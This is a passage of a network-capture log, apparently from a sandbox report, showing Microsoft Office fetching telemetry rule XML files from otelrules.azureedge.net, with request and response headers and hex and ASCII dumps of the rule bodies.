2024-10-24 14:05:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:36 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 53594826-c01e-0082-6cf3-24af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140536Z-r197bdfb6b4qpk6v9629ad4b5s0000000cgg000000001nq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:36 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:37 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 81a8cf75-401e-0047-2d15-258597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140536Z-r197bdfb6b4t7wszdvrfk02ah400000009a000000000fd6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49868	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:37 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:37 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:37 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 082c7638-801e-0067-65f2-24fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140537Z-15b8d89586f2hk28h0h6zye26c00000001pg000000002wec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:37 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49870	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:37 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:37 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140537Z-16849878b787c9z7hb8u9yysp000000007u000000000kua7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49869	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:37 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:37 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:37 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 18e0c3bd-301e-001f-11f3-24aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140537Z-r197bdfb6b4t7wszdvrfk02ah400000009a000000000fd7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:37 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49871	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:37 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:37 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 333c19fd-801e-00ac-16e3-21fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140537Z-16849878b78s2lqfdex4tmpp7800000007r000000000nz7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49875	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:37 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140538Z-r197bdfb6b4lbgfqwkqbrm672s00000001mg000000008uq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49874	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:37 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:38 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140538Z-16849878b787psctgubawhx7k800000007ng00000000c3ad x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49876	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:38 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: ce71dc49-401e-0035-7698-2582d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140538Z-15b8d89586ffsjj9qb0gmb1stn000000039000000000bsvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49873	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:38 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: f29ba936-801e-0047-2ef2-247265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140538Z-r197bdfb6b4kzncf21qcaynxz800000001w000000000nbp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49877	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:38 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:38 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140538Z-16849878b78wx8xv81xhtuunw800000000mg00000000ba17 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 